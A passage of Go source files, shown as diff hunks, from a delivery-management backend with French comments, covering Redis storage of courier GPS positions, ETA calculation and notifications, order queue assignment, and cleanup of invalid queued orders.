queueKey := fmt.Sprintf("queue:deliveryman:%s", username)
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
if queueSize < minQueueSize {
minQueueSize = queueSize
leastLoaded = username
}
}
log.Printf("⚠️ [FORCED] %s sélectionné (%d commandes - SANS LIMITE)",
leastLoaded, minQueueSize)
return leastLoaded, minQueueSize, nil
}
// AreAllDeliverymenAtCapacity vérifie si tous les livreurs ont atteint leur capacité max
func (d *Database) AreAllDeliverymenAtCapacity() (bool, int, error) {
activeUsernames, err := d.GetAllActiveDeliverymenUsernames()
if err != nil || len(activeUsernames) == 0 {
return false, 0, fmt.Errorf("aucun livreur actif")
}
// Si un seul livreur, jamais à capacité max
if len(activeUsernames) == 1 {
return false, 1, nil
}
atCapacityCount := 0
for _, username := range activeUsernames {
if !d.CanDeliverymanAcceptCommands(username) {
atCapacityCount++
}
}
allAtCapacity := atCapacityCount == len(activeUsernames)
if allAtCapacity {
log.Printf("🔴 [CAPACITY] TOUS les livreurs sont à capacité maximale (%d/%d)",
atCapacityCount, len(activeUsernames))
}
return allAtCapacity, len(activeUsernames), nil
}
@@ -0,0 +1,112 @@
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
"strconv"
"time"
)
func (d *Database) UpdateDeliveryPersonLocation(username string, lat, lon float64) error {
// 1️⃣ Mettre à jour la position GPS dans Redis
key := fmt.Sprintf("delivery:location:%s", username)
location := map[string]interface{}{
"latitude": lat,
"longitude": lon,
"last_update": time.Now().Unix(),
}
data, _ := json.Marshal(location)
err := Redis.Set(RedisCtx, key, data, 1*time.Hour).Err()
if err != nil {
return fmt.Errorf("erreur mise à jour position: %w", err)
}
log.Printf("📍 Position GPS mise à jour pour %s: (%.6f, %.6f)", username, lat, lon)
// 2️⃣ ✅ NOUVEAU: Auto-initialiser/synchroniser le statut
statusKey := fmt.Sprintf("delivery:status:%s", username)
statusData, err := Redis.Get(RedisCtx, statusKey).Result()
if err != nil || statusData == "" {
// ✅ Pas de statut → Créer "available" par défaut
log.Printf("🆕 [INIT_STATUS] Création statut 'available' pour %s (première position GPS)", username)
d.SetDeliveryPersonStatus(username, "available", 0)
} else {
// ✅ Statut existe → Vérifier s'il faut le réactiver
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(statusData), &status)
if status.Status == "offline" {
// Si le livreur était offline et envoie sa position → Le remettre available
log.Printf("🔄 [REACTIVATE] %s passe de 'offline' à 'available' (position GPS reçue)", username)
d.SetDeliveryPersonStatus(username, "available", 0)
} else {
// ✅ Statut actif → Synchroniser basé sur la queue
go d.UpdateDeliverymanStatusBasedOnQueue(username)
}
}
// 3️⃣ Publier l'événement de mise à jour de position
d.PublishDeliveryPersonLocationUpdate(username, lat, lon)
return nil
}
// GetDeliveryPersonLocation récupère la position d'un livreur
func (d *Database) GetDeliveryPersonLocation(username string) (float64, float64, error) {
key := fmt.Sprintf("delivery:location:%s", username)
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
return 0, 0, fmt.Errorf("position non trouvée pour %s: %w", username, err)
}
if data == "" {
return 0, 0, fmt.Errorf("aucune donnée de position pour %s", username)
}
var location map[string]interface{}
if err := json.Unmarshal([]byte(data), &location); err != nil {
return 0, 0, fmt.Errorf("erreur parsing JSON Redis: %w", err)
}
// Extraire latitude avec gestion de type robuste
var lat, lon float64
if v, ok := location["latitude"]; ok && v != nil {
switch val := v.(type) {
case float64:
lat = val
case float32:
lat = float64(val)
case int:
lat = float64(val)
case int64:
lat = float64(val)
case string:
lat, _ = strconv.ParseFloat(val, 64)
}
}
// Extraire longitude avec gestion de type robuste
if v, ok := location["longitude"]; ok && v != nil {
switch val := v.(type) {
case float64:
lon = val
case float32:
lon = float64(val)
case int:
lon = float64(val)
case int64:
lon = float64(val)
case string:
lon, _ = strconv.ParseFloat(val, 64)
}
}
if lat == 0 && lon == 0 {
return 0, 0, fmt.Errorf("coordonnées invalides (0,0) pour %s", username)
}
return lat, lon, nil
}
+196
View File
@@ -0,0 +1,196 @@
package db
import (
"fmt"
"gestion/services"
"log"
"strconv"
"time"
"github.com/redis/go-redis/v9"
)
func (d *Database) SetCommandETA(commandID, minutes int) error {
key := fmt.Sprintf("command:eta:%d", commandID)
now := time.Now()
arrivalTime := now.Add(time.Duration(minutes) * time.Minute)
eta := map[string]interface{}{
"command_id": commandID,
"total_eta_minutes": minutes,
"eta_minutes": minutes,
"wait_time_minutes": 0,
"travel_time_minutes": minutes,
"queue_position": 1,
"updated_at": now.Unix(),
"arrival_time": arrivalTime.Unix(),
"estimated_arrival": arrivalTime.Format(time.RFC3339),
}
_, err := Redis.HSet(RedisCtx, key, eta).Result()
if err != nil {
return fmt.Errorf("erreur sauvegarde ETA: %w", err)
}
Redis.Expire(RedisCtx, key, 2*time.Hour)
d.ScheduleETANotifications(commandID, minutes)
log.Printf("✅ ETA défini pour commande %d: %d minutes (arrivée: %s)",
commandID, minutes, arrivalTime.Format("15:04"))
return nil
}
// GetCommandETA récupère l'ETA d'une commande depuis Redis
func (d *Database) GetCommandETA(commandID int) (map[string]string, error) {
key := fmt.Sprintf("command:eta:%d", commandID)
etaData, err := Redis.HGetAll(RedisCtx, key).Result()
if err != nil {
return nil, err
}
if len(etaData) == 0 {
return nil, fmt.Errorf("aucun ETA trouvé pour la commande %d", commandID)
}
return etaData, nil
}
// CheckCommandETAExists vérifie si un ETA existe pour une commande
func (d *Database) CheckCommandETAExists(commandID int) bool {
key := fmt.Sprintf("command:eta:%d", commandID)
exists, _ := Redis.Exists(RedisCtx, key).Result()
return exists > 0
}
// ScheduleETANotifications programme les notifications 5min et 3min
func (d *Database) ScheduleETANotifications(commandID, etaMinutes int) error {
arrivalTime := time.Now().Add(time.Duration(etaMinutes) * time.Minute)
if etaMinutes > 5 {
notify5min := arrivalTime.Add(-5 * time.Minute).Unix()
Redis.ZAdd(RedisCtx, "notifications:scheduled", redis.Z{
Score: float64(notify5min),
Member: fmt.Sprintf("%d:5min", commandID),
})
}
if etaMinutes > 3 {
notify3min := arrivalTime.Add(-3 * time.Minute).Unix()
Redis.ZAdd(RedisCtx, "notifications:scheduled", redis.Z{
Score: float64(notify3min),
Member: fmt.Sprintf("%d:3min", commandID),
})
}
log.Printf("✅ Notifications programmées pour commande %d (ETA: %d min)", commandID, etaMinutes)
return nil
}
// ProcessScheduledNotifications traite les notifications à envoyer
func (d *Database) ProcessScheduledNotifications() error {
now := float64(time.Now().Unix())
results, err := Redis.ZRangeByScore(RedisCtx, "notifications:scheduled", &redis.ZRangeBy{
Min: "0",
Max: strconv.FormatFloat(now, 'f', 0, 64),
}).Result()
if err != nil {
return err
}
for _, result := range results {
parts := splitNotificationKey(result)
commandID, _ := strconv.Atoi(parts[0])
notifType := parts[1]
d.SendETANotification(commandID, notifType)
Redis.ZRem(RedisCtx, "notifications:scheduled", result)
}
return nil
}
// SendETANotification envoie une notification ETA
func (d *Database) SendETANotification(commandID int, notifType string) {
message := fmt.Sprintf("Votre commande #%d arrive dans %s", commandID, notifType)
channel := fmt.Sprintf("notifications:command:%d", commandID)
Redis.Publish(RedisCtx, channel, message)
log.Printf("📢 Notification envoyée: %s", message)
}
// CalculateETAForDeliveryman calcule l'ETA entre un livreur et une destination
func (d *Database) CalculateETAForDeliveryman(deliveryman string, destLat, destLng float64) int {
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
if err != nil {
log.Printf("⚠️ Position livreur %s non trouvée, utilisation ETA par défaut", deliveryman)
return services.MinETA
}
from := services.Coordinates{
Latitude: livreurLat,
Longitude: livreurLng,
}
to := services.Coordinates{
Latitude: destLat,
Longitude: destLng,
}
distance := services.CalculateDistance(from, to)
eta := services.CalculateETA(distance)
log.Printf("📍 ETA calculé pour %s: %.2f km -> %d min", deliveryman, distance, eta)
return eta
}
// CalculateDistanceBetweenPoints calcule la distance entre deux points
func (d *Database) CalculateDistanceBetweenPoints(lat1, lng1, lat2, lng2 float64) float64 {
from := services.Coordinates{Latitude: lat1, Longitude: lng1}
to := services.Coordinates{Latitude: lat2, Longitude: lng2}
return services.CalculateDistance(from, to)
}
// CalculateETABetweenPoints calcule l'ETA entre deux points
func (d *Database) CalculateETABetweenPoints(lat1, lng1, lat2, lng2 float64) int {
distance := d.CalculateDistanceBetweenPoints(lat1, lng1, lat2, lng2)
return services.CalculateETA(distance)
}
func (d *Database) GetDeliverymanQueueStats(deliveryman string) (map[string]interface{}, error) {
return d.GetDeliverymanQueueInfo(deliveryman)
}
func (d *Database) SetCommandETAWithDetails(commandID, totalETA, queuePosition int) error {
key := fmt.Sprintf("command:eta:%d", commandID)
now := time.Now()
arrivalTime := now.Add(time.Duration(totalETA) * time.Minute)
eta := map[string]interface{}{
"command_id": commandID,
"total_eta_minutes": totalETA,
"queue_position": queuePosition,
"updated_at": now.Unix(),
"arrival_time": arrivalTime.Unix(),
"estimated_arrival": arrivalTime.Format(time.RFC3339),
}
_, err := Redis.HSet(RedisCtx, key, eta).Result()
if err != nil {
return fmt.Errorf("erreur sauvegarde ETA: %w", err)
}
Redis.Expire(RedisCtx, key, 4*time.Hour)
log.Printf("✅ ETA détaillé pour commande %d: Total=%dmin Position=%d",
commandID, totalETA, queuePosition)
return nil
}
+29
View File
@@ -0,0 +1,29 @@
package db
import "fmt"
func extractCommandID(member interface{}) int {
switch v := member.(type) {
case int:
return v
case int64:
return int(v)
case float64:
return int(v)
case string:
var id int
fmt.Sscanf(v, "%d", &id)
return id
default:
return 0
}
}
func splitNotificationKey(key string) []string {
for i, c := range key {
if c == ':' {
return []string{key[:i], key[i+1:]}
}
}
return []string{key, ""}
}
+117
View File
@@ -0,0 +1,117 @@
// db/redis_position.go
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
"math"
"time"
)
// ============================================
// GESTION DES POSITIONS GPS
// ============================================
// ============================================
// LEGACY: UpdateLivreurPosition (compatibilité)
// ============================================
// UpdateLivreurPosition met à jour la position GPS ET le statut du livreur (LEGACY)
func (d *Database) UpdateLivreurPosition(authUsername string, lat, lon float64, status string) error {
// 🔹 1️⃣ Validation du username côté serveur
if authUsername == "" {
return fmt.Errorf("username non fourni ou non authentifié")
}
// 🔹 2️⃣ Validation des coordonnées GPS
if !isValidCoordinates(lat, lon) {
return fmt.Errorf("coordonnées GPS invalides")
}
// 🔹 3️⃣ Mise à jour position GPS (Redis)
positionKey := fmt.Sprintf("livreur:position:%s", authUsername)
position := models.LivreurPosition{
Latitude: lat,
Longitude: lon,
UpdatedAt: time.Now(),
Status: status,
}
positionData, err := json.Marshal(position)
if err != nil {
return fmt.Errorf("erreur serialisation position: %w", err)
}
if err := Redis.Set(RedisCtx, positionKey, positionData, 2*time.Hour).Err(); err != nil {
return fmt.Errorf("erreur mise à jour position: %w", err)
}
// 🔹 4️⃣ Mise à jour statut sécurisé
statusKey := fmt.Sprintf("delivery:status:%s", authUsername)
var deliveryStatus models.DeliveryPersonStatus
existingData, _ := Redis.Get(RedisCtx, statusKey).Result()
if existingData != "" {
json.Unmarshal([]byte(existingData), &deliveryStatus)
deliveryStatus.Status = status
deliveryStatus.LastUpdate = time.Now()
} else {
deliveryStatus = models.DeliveryPersonStatus{
Username: authUsername,
Status: status,
CurrentCommand: 0,
LastUpdate: time.Now(),
}
}
statusData, err := json.Marshal(deliveryStatus)
if err != nil {
return fmt.Errorf("erreur serialisation statut: %w", err)
}
if err := Redis.Set(RedisCtx, statusKey, statusData, 24*time.Hour).Err(); err != nil {
return fmt.Errorf("erreur mise à jour statut: %w", err)
}
// 🔹 5️⃣ Logs anonymisés (troncature)
log.Printf("📍 Position GPS mise à jour pour %s: (lat: %.4f, lon: %.4f)", authUsername, truncate(lat), truncate(lon))
log.Printf("✅ Statut mis à jour pour %s: %s", authUsername, status)
// 🔹 6️⃣ Publication événement sécurisée (à sécuriser côté subscriber)
d.PublishDeliveryPersonLocationUpdate(authUsername, lat, lon)
return nil
}
// GetLivreurPosition récupère la position d'un livreur depuis Redis (LEGACY)
func (d *Database) GetLivreurPosition(authUsername string) (*models.LivreurPosition, error) {
if authUsername == "" {
return nil, fmt.Errorf("username non fourni ou non authentifié")
}
key := fmt.Sprintf("livreur:position:%s", authUsername)
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
return nil, fmt.Errorf("position non trouvée: %w", err)
}
var position models.LivreurPosition
if err := json.Unmarshal([]byte(data), &position); err != nil {
return nil, fmt.Errorf("erreur parsing position: %w", err)
}
return &position, nil
}
// Vérifie si la latitude et longitude sont valides
func isValidCoordinates(lat, lon float64) bool {
return !math.IsNaN(lat) && !math.IsNaN(lon) &&
lat >= -90 && lat <= 90 &&
lon >= -180 && lon <= 180
}
// Tronque les coordonnées pour logs (4 décimales suffisent pour anonymiser)
func truncate(f float64) float64 {
return math.Round(f*10000) / 10000
}
+39
View File
@@ -0,0 +1,39 @@
package db
import (
"encoding/json"
"fmt"
"log"
"time"
)
// PublishCommandEvent publie un événement de commande
func (d *Database) PublishCommandEvent(commandID int, eventType, message string) {
channel := fmt.Sprintf("events:command:%d", commandID)
event := map[string]interface{}{
"command_id": commandID,
"type": eventType,
"message": message,
"timestamp": time.Now().Unix(),
}
data, _ := json.Marshal(event)
Redis.Publish(RedisCtx, channel, data)
}
// PublishDeliveryPersonLocationUpdate publie un événement de mise à jour de position
func (d *Database) PublishDeliveryPersonLocationUpdate(username string, lat, lon float64) {
message := map[string]interface{}{
"type": "location_update",
"username": username,
"latitude": lat,
"longitude": lon,
"timestamp": time.Now().Unix(),
}
data, _ := json.Marshal(message)
Redis.Publish(RedisCtx, "delivery:events", data)
log.Printf("📡 Événement publié: Position de %s mise à jour", username)
}
@@ -0,0 +1,430 @@
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
"strconv"
"time"
)
// AssignCommandToDeliverymanQueue assigne une commande à la queue d'un livreur
func (d *Database) AssignCommandToDeliverymanQueue(commandID int, deliveryman string, estimatedTravelTime int) error {
command, err := d.GetCommandByID(commandID)
if err != nil {
return fmt.Errorf("commande introuvable: %w", err)
}
activeCount, _ := d.CountActiveDeliverymen()
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// Si plusieurs livreurs, appliquer la limite de 10
if activeCount > 1 && currentQueueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
return fmt.Errorf("livreur %s a atteint le maximum de commandes (%d)", deliveryman, MAX_COMMANDS_PER_DELIVERYMAN)
}
// ✅ MODIFIÉ: ETA = temps de trajet direct uniquement
totalETA := estimatedTravelTime
var lat, lng float64
if command["dest_latitude"] != nil {
if latVal, ok := command["dest_latitude"].(float64); ok {
lat = latVal
}
}
if command["dest_longitude"] != nil {
if lngVal, ok := command["dest_longitude"].(float64); ok {
lng = lngVal
}
}
var totalPrice float64
if tp, ok := command["total_prix"].(float64); ok {
totalPrice = tp
}
var address string
if addr, ok := command["delivery_address"].(string); ok {
address = addr
} else if addr, ok := command["adresse"].(string); ok {
address = addr
}
queueItem := models.CommandQueue{
CommandID: commandID,
Username: command["username"].(string),
TotalPrice: totalPrice,
Address: address,
Lat: lat,
Lng: lng,
CreatedAt: time.Now(),
EstimatedETA: totalETA,
}
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
if err != nil {
return fmt.Errorf("erreur ajout à la queue: %w", err)
}
d.UpdateCommandStatus(commandID, "assigned")
d.AssignDeliveryPerson(commandID, deliveryman)
// ✅ MODIFIÉ: Position dans la queue pour info seulement
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
limitInfo := ""
if activeCount > 1 {
limitInfo = fmt.Sprintf("/%d", MAX_COMMANDS_PER_DELIVERYMAN)
} else {
limitInfo = " (sans limite - seul livreur)"
}
d.AddCommandLog(commandID, "queued",
fmt.Sprintf("Ajouté à la queue de %s (position: %d%s, ETA trajet: %d min)",
deliveryman, currentQueueSize+1, limitInfo, totalETA),
"system")
log.Printf("✅ Commande %d -> Queue %s (pos: %d%s, ETA trajet: %d min)",
commandID, deliveryman, currentQueueSize+1, limitInfo, totalETA)
return nil
}
// AssignCommandToDeliverymanQueueUnlimited assigne sans limite (pour un seul livreur)
func (d *Database) AssignCommandToDeliverymanQueueUnlimited(deliveryman string, queueItem models.CommandQueue) error {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// ✅ MODIFIÉ: Calculer le temps de trajet direct depuis la position du livreur
travelTime := d.CalculateETAForDeliveryman(deliveryman, queueItem.Lat, queueItem.Lng)
// ✅ ETA = temps de trajet direct uniquement
queueItem.EstimatedETA = travelTime
err := d.AddToDeliverymanQueue(deliveryman, queueItem)
if err != nil {
return fmt.Errorf("erreur ajout à la queue: %w", err)
}
d.UpdateCommandStatus(queueItem.CommandID, "assigned")
d.AssignDeliveryPerson(queueItem.CommandID, deliveryman)
d.SetCommandETAWithDetails(queueItem.CommandID, travelTime, int(currentQueueSize)+1)
d.AddCommandLog(queueItem.CommandID, "queued",
fmt.Sprintf("Assigné au seul livreur actif %s (position: %d, ETA trajet: %d min)",
deliveryman, currentQueueSize+1, travelTime),
"system")
log.Printf("✅ Commande %d -> Queue %s (SANS LIMITE - pos: %d, ETA trajet: %d min)",
queueItem.CommandID, deliveryman, currentQueueSize+1, travelTime)
return nil
}
// AssignCommandToDeliverymanQueueWithCoords assigne une commande avec les coordonnées GPS
func (d *Database) AssignCommandToDeliverymanQueueWithCoords(commandID int, deliveryman string, estimatedTravelTime int, lat, lng float64, address string) error {
command, err := d.GetCommandByID(commandID)
if err != nil {
return fmt.Errorf("commande introuvable: %w", err)
}
activeCount, _ := d.CountActiveDeliverymen()
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
if activeCount > 1 && currentQueueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
return fmt.Errorf("livreur %s a atteint le maximum de commandes (%d)", deliveryman, MAX_COMMANDS_PER_DELIVERYMAN)
}
// ✅ ETA = temps de trajet direct uniquement
totalETA := estimatedTravelTime
var totalPrice float64
if tp, ok := command["total_prix"].(float64); ok {
totalPrice = tp
}
var username string
if u, ok := command["username"].(string); ok {
username = u
}
queueItem := models.CommandQueue{
CommandID: commandID,
Username: username,
TotalPrice: totalPrice,
Address: address,
Lat: lat,
Lng: lng,
CreatedAt: time.Now(),
EstimatedETA: totalETA,
}
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
if err != nil {
return fmt.Errorf("erreur ajout à la queue: %w", err)
}
// ============================================
// ✅ CORRECTION: Mettre à jour livreur_assign dans la DB
// ============================================
updateQuery := `UPDATE commandes
SET livreur_assign = $1,
status = 'assigned',
updated_at = CURRENT_TIMESTAMP
WHERE id = $2`
_, err = d.Exec(updateQuery, deliveryman, commandID)
if err != nil {
log.Printf("❌ Erreur mise à jour livreur_assign: %v", err)
return fmt.Errorf("erreur mise à jour DB: %w", err)
}
log.Printf("✅ DB mise à jour: livreur_assign=%s pour commande %d", deliveryman, commandID)
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
// Sauvegarder dans le cache destination
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
coordsJSON, _ := json.Marshal(map[string]float64{
"lat": lat,
"lon": lng,
})
Redis.Set(RedisCtx, destCacheKey, coordsJSON, 4*time.Hour)
limitInfo := ""
if activeCount > 1 {
limitInfo = fmt.Sprintf("/%d", MAX_COMMANDS_PER_DELIVERYMAN)
} else {
limitInfo = " (sans limite - seul livreur)"
}
d.AddCommandLog(commandID, "assigned",
fmt.Sprintf("Assigné à %s (position: %d%s, ETA trajet: %d min, coords: %.4f,%.4f)",
deliveryman, currentQueueSize+1, limitInfo, totalETA, lat, lng),
"system")
log.Printf("✅ Commande %d -> Livreur %s (pos: %d%s, ETA trajet: %d min, coords: %.4f,%.4f)",
commandID, deliveryman, currentQueueSize+1, limitInfo, totalETA, lat, lng)
return nil
}
// ForceAssignCommandToDeliverymanWithCoords assigne une commande de force avec coordonnées
// ForceAssignCommandToDeliverymanWithCoords assigne une commande de force avec coordonnées
func (d *Database) ForceAssignCommandToDeliverymanWithCoords(commandID int, deliveryman string, estimatedTravelTime int, lat, lng float64, address string) error {
command, err := d.GetCommandByID(commandID)
if err != nil {
return fmt.Errorf("commande introuvable: %w", err)
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// ✅ MODIFIÉ: ETA = temps de trajet direct uniquement
totalETA := estimatedTravelTime
var totalPrice float64
if tp, ok := command["total_prix"].(float64); ok {
totalPrice = tp
}
var username string
if u, ok := command["username"].(string); ok {
username = u
}
queueItem := models.CommandQueue{
CommandID: commandID,
Username: username,
TotalPrice: totalPrice,
Address: address,
Lat: lat,
Lng: lng,
CreatedAt: time.Now(),
EstimatedETA: totalETA,
}
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
if err != nil {
return fmt.Errorf("erreur ajout à la queue: %w", err)
}
d.UpdateCommandStatus(commandID, "assigned")
d.AssignDeliveryPerson(commandID, deliveryman)
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
// Sauvegarder dans le cache destination
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
coordsJSON, _ := json.Marshal(map[string]float64{
"lat": lat,
"lon": lng,
})
Redis.Set(RedisCtx, destCacheKey, coordsJSON, 4*time.Hour)
d.AddCommandLog(commandID, "force_queued",
fmt.Sprintf("Assignation forcée à %s (position: %d, ETA trajet: %d min, coords: %.4f,%.4f)",
deliveryman, currentQueueSize+1, totalETA, lat, lng),
"system")
log.Printf("⚠️ FORCE: Commande %d -> Queue %s (pos: %d, ETA trajet: %d min, coords: %.4f,%.4f)",
commandID, deliveryman, currentQueueSize+1, totalETA, lat, lng)
return nil
}
// ForceAssignCommandToDeliveryman assigne une commande à un livreur SANS vérifier la limite de 10
func (d *Database) ForceAssignCommandToDeliveryman(commandID int, deliveryman string, estimatedTravelTime int) error {
command, err := d.GetCommandByID(commandID)
if err != nil {
return fmt.Errorf("commande introuvable: %w", err)
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// ✅ MODIFIÉ: ETA = temps de trajet direct uniquement
totalETA := estimatedTravelTime
var lat, lng float64
if command["dest_latitude"] != nil {
if latVal, ok := command["dest_latitude"].(float64); ok {
lat = latVal
}
}
if command["dest_longitude"] != nil {
if lngVal, ok := command["dest_longitude"].(float64); ok {
lng = lngVal
}
}
var totalPrice float64
if tp, ok := command["total_prix"].(float64); ok {
totalPrice = tp
}
var address string
if addr, ok := command["delivery_address"].(string); ok {
address = addr
} else if addr, ok := command["adresse"].(string); ok {
address = addr
}
queueItem := models.CommandQueue{
CommandID: commandID,
Username: command["username"].(string),
TotalPrice: totalPrice,
Address: address,
Lat: lat,
Lng: lng,
CreatedAt: time.Now(),
EstimatedETA: totalETA,
}
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
if err != nil {
return fmt.Errorf("erreur ajout à la queue: %w", err)
}
d.UpdateCommandStatus(commandID, "assigned")
d.AssignDeliveryPerson(commandID, deliveryman)
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
d.AddCommandLog(commandID, "force_queued",
fmt.Sprintf("Assignation forcée à %s (position: %d, ETA trajet: %d min)",
deliveryman, currentQueueSize+1, totalETA),
"system")
log.Printf("⚠️ FORCE: Commande %d -> Queue %s (pos: %d, ETA trajet: %d min)",
commandID, deliveryman, currentQueueSize+1, totalETA)
return nil
}
// AutoAssignCommand assigne automatiquement une commande au premier livreur disponible
func (d *Database) AutoAssignCommand(commandID int) error {
// Récupérer les livreurs disponibles
available, err := d.GetAvailableDeliveryPersonsRedis()
if err != nil || len(available) == 0 {
return fmt.Errorf("aucun livreur disponible")
}
// Prendre le premier livreur
livreur := available[0]
// Assigner dans la DB principale
err = d.AssignDeliveryPerson(commandID, livreur.Username)
if err != nil {
return err
}
// Mettre à jour le statut dans Redis
d.SetDeliveryPersonStatus(livreur.Username, "busy", commandID)
// Retirer de la file d'attente
d.RemoveCommandFromQueue(commandID)
// Définir l'ETA initial
d.SetCommandETA(commandID, 30)
log.Printf("✅ Commande %d auto-assignée à %s", commandID, livreur.Username)
return nil
}
func (d *Database) ProcessNextCommandInQueue(deliveryman string) error {
log.Printf("🔄 Traitement de la prochaine commande pour %s", deliveryman)
// Vérifier d'abord la queue spécifique du livreur
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
results, err := Redis.ZRangeWithScores(RedisCtx, queueKey, 0, 0).Result()
if err == nil && len(results) > 0 {
// Une commande est dans sa queue - la traiter
commandID := extractCommandID(results[0].Member)
// Mettre à jour le statut
d.SetDeliveryPersonStatus(deliveryman, "busy", commandID)
log.Printf("✅ Livreur %s traite la commande %d de sa queue", deliveryman, commandID)
return nil
}
// Si aucune commande dans sa queue, chercher dans la queue générale
generalResults, err := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, 0).Result()
if err != nil || len(generalResults) == 0 {
log.Printf("️ Aucune commande en attente pour %s", deliveryman)
return nil
}
commandID := extractCommandID(generalResults[0].Member)
// Assigner la commande
err = d.AssignDeliveryPerson(commandID, deliveryman)
if err != nil {
log.Printf("❌ Erreur assignation commande %d: %v", commandID, err)
return err
}
// Retirer de la queue générale
Redis.ZRem(RedisCtx, "queue:pending:sorted", strconv.Itoa(commandID))
// Mettre à jour le statut
d.SetDeliveryPersonStatus(deliveryman, "busy", commandID)
// Définir un ETA par défaut
d.SetCommandETA(commandID, 30)
// Ajouter log
d.AddCommandLog(commandID, "auto_assigned",
fmt.Sprintf("Assigné automatiquement à %s depuis la queue générale", deliveryman),
"system")
log.Printf("✅ Commande %d assignée automatiquement à %s (queue générale)", commandID, deliveryman)
return nil
}
+273
View File
@@ -0,0 +1,273 @@
// db/redis_queue_cleanup.go
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
"time"
)
// ============================================
// NETTOYAGE DES COMMANDES INVALIDES
// ============================================
// CleanupInvalidQueueCommands supprime toutes les commandes avec des données manquantes
func (d *Database) CleanupInvalidQueueCommands() (int, error) {
log.Println("🧹 [CLEANUP] Démarrage du nettoyage des commandes invalides...")
// Récupérer toutes les clés de commandes en attente
keys, err := Redis.Keys(RedisCtx, "queue:pending:*").Result()
if err != nil {
return 0, fmt.Errorf("erreur récupération des clés: %w", err)
}
removedCount := 0
validCount := 0
for _, key := range keys {
// Récupérer les données
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
log.Printf("⚠️ [CLEANUP] Impossible de lire %s: %v", key, err)
continue
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
log.Printf("❌ [CLEANUP] JSON invalide pour %s - SUPPRESSION", key)
d.removeInvalidCommand(key, queueItem.CommandID, "JSON invalide")
removedCount++
continue
}
// ✅ VALIDATION DES CHAMPS REQUIS
isValid := true
reasons := []string{}
// 1. Vérifier Username
if queueItem.Username == "" {
isValid = false
reasons = append(reasons, "username vide")
}
// 2. Vérifier Address
if queueItem.Address == "" {
isValid = false
reasons = append(reasons, "adresse vide")
}
// 3. Vérifier Coordinates
if queueItem.Lat == 0 || queueItem.Lng == 0 {
isValid = false
reasons = append(reasons, "coordonnées GPS manquantes")
}
// 4. Vérifier CreatedAt
if queueItem.CreatedAt.IsZero() || queueItem.CreatedAt.Year() == 1 {
isValid = false
reasons = append(reasons, "date de création invalide")
}
// 5. Vérifier TotalPrice (optionnel mais recommandé)
if queueItem.TotalPrice <= 0 {
log.Printf("⚠️ [CLEANUP] Commande %d: prix suspect (%.2f)", queueItem.CommandID, queueItem.TotalPrice)
}
// ❌ SUPPRIMER SI INVALIDE
if !isValid {
log.Printf("❌ [CLEANUP] Commande %d INVALIDE: %v - SUPPRESSION", queueItem.CommandID, reasons)
d.removeInvalidCommand(key, queueItem.CommandID, fmt.Sprintf("%v", reasons))
removedCount++
} else {
validCount++
}
}
log.Printf("✅ [CLEANUP] Terminé: %d commandes supprimées, %d commandes valides restantes", removedCount, validCount)
return removedCount, nil
}
// removeInvalidCommand supprime une commande invalide de toutes les queues
func (d *Database) removeInvalidCommand(key string, commandID int, reason string) {
commandIDStr := fmt.Sprintf("%d", commandID)
// 1. Supprimer la clé de données
Redis.Del(RedisCtx, key)
// 2. Supprimer de la queue générale
Redis.ZRem(RedisCtx, "queue:pending:sorted", commandIDStr)
Redis.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
// 3. Supprimer des queues de livreurs
livreurKeys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
for _, queueKey := range livreurKeys {
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
continue
}
Redis.ZRem(RedisCtx, queueKey, commandIDStr)
}
// 4. Supprimer l'ETA si existe
etaKey := fmt.Sprintf("command:eta:%d", commandID)
Redis.Del(RedisCtx, etaKey)
// 5. Supprimer le cache de destination
destKey := fmt.Sprintf("command:destination:%d", commandID)
Redis.Del(RedisCtx, destKey)
// 6. Logger dans la base de données
d.AddCommandLog(commandID, "cleanup_removed",
fmt.Sprintf("Commande supprimée de Redis: %s", reason),
"system")
log.Printf("🗑️ [CLEANUP] Commande %d supprimée: %s", commandID, reason)
}
// ============================================
// VALIDATION STRICTE AVANT AJOUT À LA QUEUE
// ============================================
// ValidateCommandBeforeQueue valide qu'une commande a toutes les données requises
func (d *Database) ValidateCommandBeforeQueue(commandID int) error {
command, err := d.GetCommandByID(commandID)
if err != nil {
